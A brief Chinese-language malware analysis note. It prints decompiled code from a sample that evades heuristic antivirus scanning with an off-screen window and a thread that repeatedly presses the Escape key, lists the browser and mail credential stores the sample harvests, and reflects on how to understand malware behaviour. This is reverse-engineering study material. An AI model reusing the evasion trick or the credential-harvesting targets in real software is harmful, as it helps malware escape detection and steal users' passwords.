一个避免启发式扫描的方式
bj_sub_403140_registerclass(hInstance);
if ( bj_sub_4031A0_createwindow(hInstance, nShowCmd) )
{
v4 = CreateThread(0, 0, StartAddress, 0, 0, 0);
if ( v4 )
{
MessageBoxA(0, Text, 0, 0x1000u);
TerminateThread(v4, 0xFFFFFFFF);
goto normal; //去正常执行代码
}
}
ATOM __cdecl bj_sub_403140_registerclass(HINSTANCE a1)
{
WNDCLASSEXA v2; // [esp+0h] [ebp-30h]
v2.cbSize = 48;
v2.style = 3;
v2.lpfnWndProc = sub_403120;
v2.cbClsExtra = 0;
v2.cbWndExtra = 0;
v2.hInstance = a1;
v2.hIcon = 0;
v2.hCursor = 0;
v2.hbrBackground = 6;
v2.lpszMenuName = 0;
v2.lpszClassName = ClassName;
v2.hIconSm = 0;
return RegisterClassExA(&v2);
}
LRESULT __stdcall sub_403120(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProcA(hWnd, Msg, wParam, lParam);
}
HWND __cdecl bj_sub_4031A0_createwindow(HINSTANCE hInstance, int nCmdShow)
{
HWND result; // eax
dword_473E60 = hInstance;
result = CreateWindowExA(0x80u, ClassName, WindowName, 0xCF0000u, -500, -500, 10, 10, 0, 0, hInstance, 0);
hWnd = result;
if ( result )
{
ShowWindow(result, nCmdShow);
UpdateWindow(hWnd);
result = 1;
}
return result;
}
void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
while ( 1 )
{
keybd_event(VK_ESCAPE, 0, 0, 0);
Sleep(1u);
}
}
一些密码hash收集方式
sub_40C470里, 包括:
• Cached passwords from Internet Explorer 6/7/8/9 (Protected Storage and
IntelliForms)
• Mozilla Firefox stored secrets (<12.0)
• Chrome stored secrets
• MS Outlook Express accounts
• MS Windows Mail accounts
• MS Windows Live Mail accounts
• MS Outlook accounts (SMTP/IMAP/POP3/HTTP)
• MSN Messenger
• Gmail Notifer credentials
• Google Desktop accounts
• Google Talk accounts
感想
病毒的功能:
- 基本的功能, 注册表操作,文件遍历, 进程操作, 线程操作, 网络操作等, 熟悉基本API即可, 高级一点的会调native函数. 驱动另说.
包含收集其他软件信息的功能, 这部分代码初看难看懂, 不过通过运行过程中的相应字符串可以确定对应的软件名, 那么相应的具体操作方式可以放着再研究.
对于第一点中, 注册表操作了之后, 效用是什么, 跟2类似.
对于第一点中网络操作发包的效用是什么, 有时可能会有认识困难, 如果是普通的与CC服务器交流, 那没什么. 如果是类似永恒之蓝那样的漏洞溢出包, 那么就可以知道肯定与目标机器的445端口有关. 不过大多数黑客会整个重用工具包代码, 所以代码相似性比较也能用于确认.
对于第一点中, 有时一个普通的API调用, 可能触发别的进程代码执行, 这种情况若无背景知识也难理解, 得调试才知道为什么. 例如EWMI方式注入Explorer进程.